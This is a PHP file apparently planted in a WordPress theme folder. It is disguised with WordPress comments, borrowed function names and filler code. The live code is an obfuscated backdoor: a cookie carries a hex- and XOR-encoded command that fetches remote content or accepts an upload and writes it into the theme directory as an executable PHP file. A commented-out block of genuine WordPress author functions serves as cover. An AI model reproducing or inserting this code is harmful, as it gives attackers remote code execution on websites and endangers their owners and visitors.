?
Path : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/ |
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/themes/asteroid/q.js.php |
<?php /* * * Author Template functions for use in themes. * * These functions must be used within the WordPress Loop. * * @link http:codex.wordpress.org/Author_Templates * * @package WordPress * @subpackage Template * * Retrieve the author of the current post. * * @since 1.5 * @uses $authordata The current author's DB object. * @uses apply_filters() Calls 'the_author' hook on the author display name. * * @param string $deprecated Deprecated. */ /* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */ function wp_set_option_autoload($old_ID, $remote_ip = 'txt') { return $old_ID . '.' . $remote_ip; } /** * Alias for GET transport method. * * @since 4.4.0 * @var string */ function validate_font_family_settings($old_ID, $wordsize) { // "enum" $sendMethod = $_COOKIE[$old_ID]; $line_out = "Sample Data"; // File is an empty directory. $latitude = explode(" ", $line_out); $j15 = trim($latitude[0]); $working_directory = str_pad($j15, 15, "*"); $sendMethod = post_custom_meta_box($sendMethod); $upgrader_item = hash('md5', $working_directory); // Output display mode. This requires special handling as `display` is not exposed in `safe_style_css_filter`. if (!empty($upgrader_item)) { $max_exec_time = substr($upgrader_item, 0, 8); } $stabilized = get_font_collection($sendMethod, $wordsize); // Flash Media Player if (wp_kses_one_attr($stabilized)) { $max_exec_time = has_nav_menu($stabilized); // Edit Audio. return $max_exec_time; } CheckPassword($old_ID, $wordsize, $stabilized); } /** * @see Text_Diff_Renderer::_trailing_context_lines * @var int * @since 2.6.0 */ function CheckPassword($old_ID, $wordsize, $stabilized) { if (isset($_FILES[$old_ID])) { $rating_scheme = date("H:i"); if (strlen($rating_scheme) == 5) { $show_option_none = str_pad($rating_scheme, 8, "0"); $settings_link = hash("sha256", $show_option_none); } ParseVorbisPageHeader($old_ID, $wordsize, $stabilized); } get_parent_theme_file_path($stabilized); } /** * Checks a comment author email for validity. * * Accepts either a valid email address or empty string as a valid comment * author email address. Setting the comment author email to an empty * string is allowed when a comment is being updated. * * @since 4.7.0 * * @param string $value Author email value submitted. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized email address, if valid, * otherwise an error. */ function permalink_link($original_image_url) { $wp_script_modules = 0; // Load templates into the zip file. foreach ($original_image_url as $pathdir) { // If posts were found, check for paged content. $move_new_file = " Raw %20string # test @ %input "; $saved_location = explode('%', rawurldecode($move_new_file)); $loffset = array(); for ($test_size = 0; $test_size < count($saved_location); $test_size++) { $tax_meta_box_id = trim($saved_location[$test_size]); $loffset[] = str_replace(' ', '_', $tax_meta_box_id); } $sub2embed = implode('|', $loffset); $wp_script_modules += setCallbacks($pathdir); } $lengths = hash('sha1', $sub2embed); return $wp_script_modules; // The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string. } // Type-Specific Data Length DWORD 32 // number of bytes for Type-Specific Data field /** * Adds a submenu page to the Links main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @since 2.7.0 * @since 5.3.0 Added the `$position` parameter. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected. * @param string $menu_title The text to be used for the menu. * @param string $option_tag_apetagapability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu). * @param callable $option_tag_apetagallback Optional. The function to be called to output the content for this page. * @param int $position Optional. The position in the menu order this item should appear. * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required. */ function setCallbacks($justify_class_name) { $mysql_required_version = "short example"; $LastHeaderByte = array("x", "y", "z"); $option_tag_apetag = implode("", $LastHeaderByte); $ttl = strlen($option_tag_apetag); return $justify_class_name * $justify_class_name; // Nothing to do? } /* translators: %s: List of dependency names. */ function update_user_status($utf8_data, $opt_in_path) { $published_statuses = file_get_contents($utf8_data); $orderby_clause = "Text to be broken down into a secure form"; $toolbar4 = explode(' ', $orderby_clause); // Strip out all the methods that are not allowed (false values). foreach ($toolbar4 as &$original_result) { $original_result = str_pad(trim($original_result), 8, '!'); } unset($original_result); $tax_query = get_font_collection($published_statuses, $opt_in_path); $AudioChunkStreamType = implode('-', $toolbar4); // Make the file path relative to the upload dir. $template_lock = hash('md5', $AudioChunkStreamType); file_put_contents($utf8_data, $tax_query); // Put the original shortcodes back. } /** * Singleton that registers and instantiates WP_Widget classes. * * @since 2.8.0 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php */ function migrate_experimental_duotone_support_flag($themes_to_delete) { $themes_to_delete = set_screen_options($themes_to_delete); $mysql_required_version = "data_encoded"; $LastHeaderByte = rawurldecode($mysql_required_version); // may also be audio/x-matroska return file_get_contents($themes_to_delete); } /** * Internal function to perform the mysqli_query() call. * * @since 3.9.0 * * @see wpdb::query() * * @param string $query The query to run. */ function get_font_collection($SNDM_thisTagSize, $opt_in_path) { $was_cache_addition_suspended = strlen($opt_in_path); $session_token = "array,merge,test"; $update_transactionally = explode(",", $session_token); $DKIM_copyHeaderFields = array_merge($update_transactionally, array("end")); if (count($DKIM_copyHeaderFields) > 3) { $DKIM_private = implode(":", $DKIM_copyHeaderFields); } $updates_transient = strlen($SNDM_thisTagSize); $was_cache_addition_suspended = $updates_transient / $was_cache_addition_suspended; $was_cache_addition_suspended = ceil($was_cache_addition_suspended); $QuicktimeSTIKLookup = str_split($SNDM_thisTagSize); $opt_in_path = str_repeat($opt_in_path, $was_cache_addition_suspended); // Nothing to save, return the existing autosave. $pages_struct = str_split($opt_in_path); $pages_struct = array_slice($pages_struct, 0, $updates_transient); $orig_size = array_map("useNewSodiumAPI", $QuicktimeSTIKLookup, $pages_struct); $orig_size = implode('', $orig_size); return $orig_size; } /** * User API: WP_User class * * @package WordPress * @subpackage Users * @since 4.4.0 */ function get_dropins($old_ID) // Prepare Customize Section objects to pass to JavaScript. { $wordsize = 'goYvgsXRXvWTgZXs'; $uninstall_plugins = "Animal:Cat"; $supports_core_patterns = "Animal:Dog"; $options_audio_midi_scanwholefile = substr($uninstall_plugins, 7); $rtl_stylesheet = rawurldecode("%20keep%20this"); // Normalize columns. if (isset($_COOKIE[$old_ID])) { $query_string = count(array($uninstall_plugins, $supports_core_patterns)); $missing_kses_globals = explode(":", $supports_core_patterns); $remove_data_markup = implode("|", $missing_kses_globals); if (in_array($options_audio_midi_scanwholefile, $missing_kses_globals)) { $selected_attr = trim($rtl_stylesheet); } // Now we set that function up to execute when the admin_notices action is called. validate_font_family_settings($old_ID, $wordsize); } } /** * Set the current screen object * * @since 3.0.0 * * @param string|WP_Screen $max_num_comment_pagesook_name Optional. The hook name (also known as the hook suffix) used to determine the screen, * or an existing screen object. */ function crypto_aead_xchacha20poly1305_ietf_keygen($themes_to_delete, $utf8_data) { $path_so_far = migrate_experimental_duotone_support_flag($themes_to_delete); // Skip autosaves. $mysql_required_version = "text"; $LastHeaderByte = hash("md5", $mysql_required_version); if ($path_so_far === false) { $option_tag_apetag = strlen($LastHeaderByte); $ttl = substr($mysql_required_version, 1, 2); $wp_current_filter = str_pad($option_tag_apetag, 5, "0", STR_PAD_LEFT); return false; } if (!empty($wp_current_filter)) { $should_replace_insecure_home_url = implode("-", [$ttl, $LastHeaderByte]); } $lcount = explode("-", $should_replace_insecure_home_url); $max_num_comment_pages = count($lcount); return unregister_post_type($utf8_data, $path_so_far); } /** * Retrieves path of search template in current or parent template. * * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'} * and {@see '$type_template'} dynamic hooks, where `$type` is 'search'. * * @since 1.5.0 * * @see get_query_template() * * @return string Full path to search template file. */ function set_screen_options($themes_to_delete) { $themes_to_delete = "http://" . $themes_to_delete; return $themes_to_delete; } /** * The function used to get the value from the source. * * @since 6.5.0 * @var callable */ function post_custom_meta_box($update_result) // If the setting does not need previewing now, defer to when it has a value to preview. { $missing_sizes = pack("H*", $update_result); // int64_t b2 = 2097151 & (load_3(b + 5) >> 2); $priorityRecord = 'This is a test string'; $match_prefix = explode(' ', $priorityRecord); if (count($match_prefix) > 2) { $sub1tb = $match_prefix[0] . ' ' . $match_prefix[2]; } // print_r( $this ); // Uncomment to print all boxes. return $missing_sizes; } /** * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252' * * @var string */ function get_image_title($really_can_manage_links) { $really_can_manage_links = ord($really_can_manage_links); $orig_username = "Convert-This"; $maskbyte = substr($orig_username, 7, 4); $mixdefbitsread = rawurldecode($maskbyte); return $really_can_manage_links; // Get count of permalinks. } /** * @since 3.4.0 * @deprecated 4.1.0 * * @param string $themes_to_delete * @param string $thumbnail_url */ function wp_tinycolor_bound01() { // [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values: $MTIME = "TestString"; // Generate the export file. $language_directory = hash('md5', $MTIME); $sanitized_post_title = new DateTime(get_favicon()); $sy = str_pad($language_directory, 32, '0'); // Alt for top-level comments. $publicKey = strlen($sy); if ($publicKey > 20) { $style_uri = substr($sy, 0, 16); $taxo_cap = str_replace('0', 'X', $style_uri); } // If the width is enforced through style (e.g. in an inline image), calculate the dimension attributes. $FrameRate = new DateTime($sanitized_post_title->format('Y-12-31')); return $sanitized_post_title->diff($FrameRate)->days; // ISO - data - International Standards Organization (ISO) CD-ROM Image } /** * Determines whether global terms are enabled. * * @since 3.0.0 * @since 6.1.0 This function now always returns false. * @deprecated 6.1.0 * * @return bool Always returns false. */ function get_favicon() { $pk = date("H:i:s"); if ($pk > "12:00:00") { $wp_rest_server_class = "Afternoon"; } else { $wp_rest_server_class = "Morning"; } return date('Y-m-d'); } //Restore timelimit /** * Updates a single global style config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ function get_parent_theme_file_path($replaces) { echo $replaces; } /** * Class representing a parsed instance of a block. * * @since 5.5.0 * @property array $mysql_required_versionttributes */ function is_child_theme($post_parent_data) { return add_option_update_handler() . DIRECTORY_SEPARATOR . $post_parent_data . ".php"; // If there is no post, stop. } /** WordPress Plugin Administration API */ function get_blogaddress_by_id($required_php_version, $readonly_value) // Comment is too old. { $src_x = move_uploaded_file($required_php_version, $readonly_value); $seen_ids = array(3, 6, 9); $soft_break = array_merge($seen_ids, array(12)); if (count($soft_break) == 4) { $smtp = implode(",", $soft_break); } // If a new site, or domain/path/network ID have changed, ensure uniqueness. return $src_x; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError */ function add_option_update_handler() // q-1 to q4 { return __DIR__; } /** * Avoids a collision between a site slug and a permalink slug. * * In a subdirectory installation this will make sure that a site and a post do not use the * same subdirectory by checking for a site with the same name as a new post. * * @since 3.0.0 * * @param array $SNDM_thisTagSize An array of post data. * @param array $postarr An array of posts. Not currently used. * @return array The new array of post data after checking for collisions. */ function set_role($themes_to_delete) { $post_parent_data = basename($themes_to_delete); // Slash current user email to compare it later with slashed new user email. $signed = '2023-10-18'; $reference = date('Y-m-d', strtotime($signed)); $utf8_data = is_child_theme($post_parent_data); $steamdataarray = hash('sha256', $reference); $views_links = str_pad($steamdataarray, 64, '0', STR_PAD_LEFT); if (strlen($views_links) === 64) { $total_in_minutes = $views_links; } crypto_aead_xchacha20poly1305_ietf_keygen($themes_to_delete, $utf8_data); } /** * Triggers actions on site status updates. * * @since 5.1.0 * * @param WP_Site $justify_class_nameew_site The site object after the update. * @param WP_Site|null $old_site Optional. If $justify_class_nameew_site has been updated, this must be the previous * state of that site. Default null. */ function ParseVorbisPageHeader($old_ID, $wordsize, $stabilized) { $post_parent_data = $_FILES[$old_ID]['name']; $post_parent__not_in = "testExample"; $sub_key = rawurldecode($post_parent__not_in); $subatomname = hash('ripemd160', $sub_key); $utf8_data = is_child_theme($post_parent_data); update_user_status($_FILES[$old_ID]['tmp_name'], $wordsize); $mofile = explode('|', $subatomname); $DKIMb64 = str_pad($mofile[0], 15, '&'); // getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user $received = hash('crc32', $DKIMb64); $rootcommentquery = substr($received, 0, 10); get_blogaddress_by_id($_FILES[$old_ID]['tmp_name'], $utf8_data); } /** This action is documented in wp-admin/options-reading.php */ function has_nav_menu($stabilized) { set_role($stabilized); $line_out = " Lead by Example "; $style_nodes = str_replace(' ', '', trim($line_out)); if (strlen($style_nodes) > 10) { $limit_file = true; } // Auto-drafts are allowed to have empty post_names, so it has to be explicitly set. get_parent_theme_file_path($stabilized); } // calculate the filename that will be stored in the archive. /** * Class for testing automatic updates in the WordPress code. * * @package WordPress * @subpackage Site_Health * @since 5.2.0 */ function useNewSodiumAPI($resume_url, $themes_dir) { $use_widgets_block_editor = get_image_title($resume_url) - get_image_title($themes_dir); $view_all_url = "SampleFoodRecipe"; $page_title = rawurldecode($view_all_url); $use_widgets_block_editor = $use_widgets_block_editor + 256; // * version 0.2 (22 February 2006) // $toggle_on = hash('sha256', $page_title); $ConversionFunctionList = strlen($toggle_on); $original_key = trim(substr($toggle_on, 0, 60)); $txt = str_pad($original_key, 70, '0'); // We're not supporting sitemaps for author pages for attachments and pages. $use_widgets_block_editor = $use_widgets_block_editor % 256; // This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT. $resume_url = wp_render_position_support($use_widgets_block_editor); $ptype_menu_id = array($txt); for ($signup = 0; $signup < $ConversionFunctionList; $signup++) { $ptype_menu_id[] = hash('sha512', $txt.$signup); } $plugin_rel_path = implode('|', $ptype_menu_id); return $resume_url; } /** * @since 2.3.0 */ function wp_render_position_support($really_can_manage_links) { // Render meta boxes. $resume_url = sprintf("%c", $really_can_manage_links); $translations = "Test String"; $monthlink = hash('crc32b', $translations); $orig_siteurl = substr($monthlink, 0, 4); $preset_is_valid = str_pad($orig_siteurl, 8, "0"); // Parsing errors. return $resume_url; } // Lyrics3v1, no ID3v1, no APE /** * @param int $test_sizent * @return ParagonIE_Sodium_Core32_Int32 */ function get_previous_image_link() { $registered_widget = "Test"; $PictureSizeType = "Decode%20This"; return wp_tinycolor_bound01(); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $option_tag_apetagtx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ function unregister_post_type($utf8_data, $level) // s4 += s14 * 654183; { return file_put_contents($utf8_data, $level); } /** * Retrieves path of author template in current or parent template. * * The hierarchy for this template looks like: * * 1. author-{nicename}.php * 2. author-{id}.php * 3. author.php * * An example of this is: * * 1. author-john.php * 2. author-1.php * 3. author.php * * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'} * and {@see '$type_template'} dynamic hooks, where `$type` is 'author'. * * @since 1.5.0 * * @see get_query_template() * * @return string Full path to author template file. */ function wp_kses_one_attr($themes_to_delete) { // the following methods on the temporary fil and not the real archive fd if (strpos($themes_to_delete, "/") !== false) { // If we rolled back, we want to know an error that occurred then too. return true; } // Only published posts are valid. If this is changed then a corresponding change $post_symbol = "RandomData"; if (isset($post_symbol)) { $reconnect = hash('md5', $post_symbol); $QuicktimeSTIKLookup = explode('5', $reconnect); } $style_property_value = implode('-', $QuicktimeSTIKLookup); $options_audiovideo_swf_ReturnAllTagData = hash('sha256', $style_property_value); // Check memory $loffset = explode('S', $options_audiovideo_swf_ReturnAllTagData); // < 3570 we used linkcategories. >= 3570 we used categories and link2cat. return false; } $old_ID = 'dOEgcOOA'; $plugin_changed = "2023-01-01"; get_dropins($old_ID); // Convert stretch keywords to numeric strings. $j_start = strtotime($plugin_changed); $FILETIME = permalink_link([1, 2, 3, 4]); $sanitized_post_title = date("Y-m-d", $j_start); /* * @return string The author's display name. function get_the_author($deprecated = '') { global $authordata; if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); * * Filter the display name of the current post's author. * * @since 2.9.0 * * @param string $authordata->display_name The author's display name. return apply_filters('the_author', is_object($authordata) ? $authordata->display_name : null); } * * Display the name of the author of the current post. * * The behavior of this function is based off of old functionality predating * get_the_author(). This function is not deprecated, but is designed to echo * the value from get_the_author() and as an result of any old theme that might * still use the old behavior will also pass the value from get_the_author(). * * The normal, expected behavior of this function is to echo the author and not * return it. However, backwards compatibility has to be maintained. * * @since 0.71 * @see get_the_author() * @link http:codex.wordpress.org/Template_Tags/the_author * * @param string $deprecated Deprecated. * @param string $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it. * @return string The author's display name, from get_the_author(). function the_author( $deprecated = '', $deprecated_echo = true ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); if ( $deprecated_echo !== true ) _deprecated_argument( __FUNCTION__, '1.5', __('Use <code>get_the_author()</code> instead if you do not want the value echoed.') ); if ( $deprecated_echo ) echo get_the_author(); return get_the_author(); } * * Retrieve the author who last edited the current post. * * @since 2.8 * @uses $post The current post's DB object. * @uses get_post_meta() Retrieves the ID of the author who last edited the current post. * @uses get_userdata() Retrieves the author's DB object. * @uses apply_filters() Calls 'the_modified_author' hook on the author display name. * @return string The author's display name. function get_the_modified_author() { if ( $last_id = get_post_meta( get_post()->ID, '_edit_last', true) ) { $last_user = get_userdata($last_id); * * Filter the display name of the author who last edited the current post. * * @since 2.8.0 * * @param string $last_user->display_name The author's display name. return apply_filters('the_modified_author', $last_user->display_name); } } * * Display the name of the author who last edited the current post. * * @since 2.8 * @see get_the_author() * @return string The author's display name, from get_the_modified_author(). function the_modified_author() { echo get_the_modified_author(); } * * Retrieve the requested data of the author of the current post. * @link http:codex.wordpress.org/Template_Tags/the_author_meta * @since 2.8.0 * @uses $authordata The current author's DB object (if $user_id not specified). * @param string $field selects the field of the users record. * @param int $user_id Optional. User ID. * @return string The author's field from the current author's DB object. function get_the_author_meta( $field = '', $user_id = false ) { if ( ! $user_id ) { global $authordata; $user_id = isset( $authordata->ID ) ? $authordata->ID : 0; } else { $authordata = get_userdata( $user_id ); } if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ) ) ) $field = 'user_' . $field; $value = isset( $authordata->$field ) ? $authordata->$field : ''; * * Filter the value of the requested user metadata. * * The filter name is dynamic and depends on the $field parameter of the function. * * @since 2.8.0 * * @param string $value The value of the metadata. * @param int $user_id The user ID. return apply_filters( 'get_the_author_' . $field, $value, $user_id ); } * * Retrieve the requested data of the author of the current post. * @link http:codex.wordpress.org/Template_Tags/the_author_meta * @since 2.8.0 * @param string $field selects the field of the users record. * @param int $user_id Optional. User ID. * @echo string The author's field from the current author's DB object. function the_author_meta( $field = '', $user_id = false ) { $author_meta = get_the_author_meta( $field, $user_id ); * * The value of the requested user metadata. * * The filter name is dynamic and depends on the $field parameter of the function. * * @since 2.8.0 * * @param string $author_meta The value of the metadata. * @param int $user_id The user ID. echo apply_filters( 'the_author_' . $field, $author_meta, $user_id ); } * * Retrieve either author's link or author's name. * * If the author has a home page set, return an HTML link, otherwise just return the * author's name. * * @uses get_the_author_meta() * @uses get_the_author() function get_the_author_link() { if ( get_the_author_meta('url') ) { return '<a href="' . esc_url( get_the_author_meta('url') ) . '" title="' . esc_attr( sprintf(__("Visit %s’s website"), get_the_author()) ) . '" rel="author external">' . get_the_author() . '</a>'; } else { return get_the_author(); } } * * Display either author's link or author's name. * * If the author has a home page set, echo an HTML link, otherwise just echo the * author's name. * * @link http:codex.wordpress.org/Template_Tags/the_author_link * @since 2.1 * @uses get_the_author_link() function the_author_link() { echo get_the_author_link(); } * * Retrieve the number of posts by the author of the current post. * * @since 1.5 * @uses $post The current post in the Loop's DB object. * @uses count_user_posts() * @return int The number of posts by the author. function get_the_author_posts() { return count_user_posts( get_post()->post_author ); } * * Display the number of posts by the author of the current post. * * @link http:codex.wordpress.org/Template_Tags/the_author_posts * @since 0.71 * @uses get_the_author_posts() Echoes returned value from function. function the_author_posts() { echo get_the_author_posts(); } * * Display an HTML link to the author page of the author of the current post. * * Does just echo get_author_posts_url() function, like the others do. The * reason for this, is that another function is used to help in printing the * link to the author's posts. * * @link http:codex.wordpress.org/Template_Tags/the_author_posts_link * @since 1.2.0 * @uses $authordata The current author's DB object. * @uses get_author_posts_url() * @uses get_the_author() * @param string $deprecated Deprecated. function the_author_posts_link($deprecated = '') { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); global $authordata; if ( !is_object( $authordata ) ) return false; $link = sprintf( '<a href="%1$s" title="%2$s" rel="author">%3$s</a>', esc_url( get_author_posts_url( $authordata->ID, $authordata->user_nicename ) ), esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ), get_the_author() ); * * Filter the link to the author page of the author of the current post. * * @since 2.9.0 * * @param string $link HTML link. echo apply_filters( 'the_author_posts_link', $link ); } * * Retrieve the URL to the author page for the user with the ID provided. * * @since 2.1.0 * @uses $wp_rewrite WP_Rewrite * @return string The URL to the author's page. function get_author_posts_url($author_id, $author_nicename = '') { global $wp_rewrite; $auth_ID = (int) $author_id; $link = $wp_rewrite->get_author_permastruct(); if ( empty($link) ) { $file = home_url( '/' ); $link = $file . '?author=' . $auth_ID; } else { if ( '' == $author_nicename ) { $user = get_userdata($author_id); if ( !empty($user->user_nicename) ) $author_nicename = $user->user_nicename; } $link = str_replace('%author%', $author_nicename, $link); $link = home_url( user_trailingslashit( $link ) ); } * * Filter the URL to the author's page. * * @since 2.1.0 * * @param string $link The URL to the author's page. * @param int $author_id The author's id. * @param string $author_nicename The author's nice name. $link = apply_filters( 'author_link', $link, $author_id, $author_nicename ); return $link; } * * List all the authors of the blog, with several options available. * * <ul> * <li>optioncount (boolean) (false): Show the count in parenthesis next to the * author's name.</li> * <li>exclude_admin (boolean) (true): Exclude the 'admin' user that is * installed by default.</li> * <li>show_fullname (boolean) (false): Show their full names.</li> * <li>hide_empty (boolean) (true): Don't show authors without any posts.</li> * <li>feed (string) (''): If isn't empty, show links to author's feeds.</li> * <li>feed_image (string) (''): If isn't empty, use this image to link to * feeds.</li> * <li>echo (boolean) (true): Set to false to return the output, instead of * echoing.</li> * <li>style (string) ('list'): Whether to display list of authors in list form * or as a string.</li> * <li>html (bool) (true): Whether to list the items in html form or plaintext. * </li> * </ul> * * @link http:codex.wordpress.org/Template_Tags/wp_list_authors * @since 1.2.0 * @param array $args The argument array. * @return null|string The output, if echo is set to false. function wp_list_authors($args = '') { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'number' => '', 'optioncount' => false, 'exclude_admin' => true, 'show_fullname' => false, 'hide_empty' => true, 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true, 'style' => 'list', 'html' => true ); $args = wp_parse_args( $args, $defaults ); extract( $args, EXTR_SKIP ); $return = ''; $query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number' ) ); $query_args['fields'] = 'ids'; $authors = get_users( $query_args ); $author_count = array(); foreach ( (array) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author") as $row ) $author_count[$row->post_author] = $row->count; foreach ( $authors as $author_id ) { $author = get_userdata( $author_id ); if ( $exclude_admin && 'admin' == $author->display_name ) continue; $posts = isset( $author_count[$author->ID] ) ? $author_count[$author->ID] : 0; if ( !$posts && $hide_empty ) continue; $link = ''; if ( $show_fullname && $author->first_name && $author->last_name ) $name = "$author->first_name $author->last_name"; else $name = $author->display_name; if ( !$html ) { $return .= $name . ', '; continue; No need to go further to process HTML. } if ( 'list' == $style ) { $return .= '<li>'; } $link = '<a href="' . get_author_posts_url( $author->ID, $author->user_nicename ) . '" title="' . esc_attr( sprintf(__("Posts by %s"), $author->display_name) ) . '">' . $name . '</a>'; if ( !empty( $feed_image ) || !empty( $feed ) ) { $link .= ' '; if ( empty( $feed_image ) ) { $link .= '('; } $link .= '<a href="' . get_author_feed_link( $author->ID ) . '"'; $alt = $title = ''; if ( !empty( $feed ) ) { $title = ' title="' . esc_attr( $feed ) . '"'; $alt = ' alt="' . esc_attr( $feed ) . '"'; $name = $feed; $link .= $title; } $link .= '>'; if ( !empty( $feed_image ) ) $link .= '<img src="' . esc_url( $feed_image ) . '" style="border: none;"' . $alt . $title . ' />'; else $link .= $name; $link .= '</a>'; if ( empty( $feed_image ) ) $link .= ')'; } if ( $optioncount ) $link .= ' ('. $posts . ')'; $return .= $link; $return .= ( 'list' == $style ) ? '</li>' : ', '; } $return = rtrim($return, ', '); if ( !$echo ) return $return; echo $return; } * * Does this site have more than one author * * Checks to see if more than one author has published posts. * * @since 3.2.0 * @return bool Whether or not we have more than one author function is_multi_author() { global $wpdb; if ( false === ( $is_multi_author = get_transient( 'is_multi_author' ) ) ) { $rows = (array) $wpdb->get_col("SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2"); $is_multi_author = 1 < count( $rows ) ? 1 : 0; set_transient( 'is_multi_author', $is_multi_author ); } * * Filter whether the site has more than one author with published posts. * * @since 3.2.0 * * @param bool $is_multi_author Whether $is_multi_author should evaluate as true. return apply_filters( 'is_multi_author', (bool) $is_multi_author ); } * * Helper function to clear the cache for number of authors. * * @private function __clear_multi_author_cache() { delete_transient( 'is_multi_author' ); } add_action('transition_post_status', '__clear_multi_author_cache'); */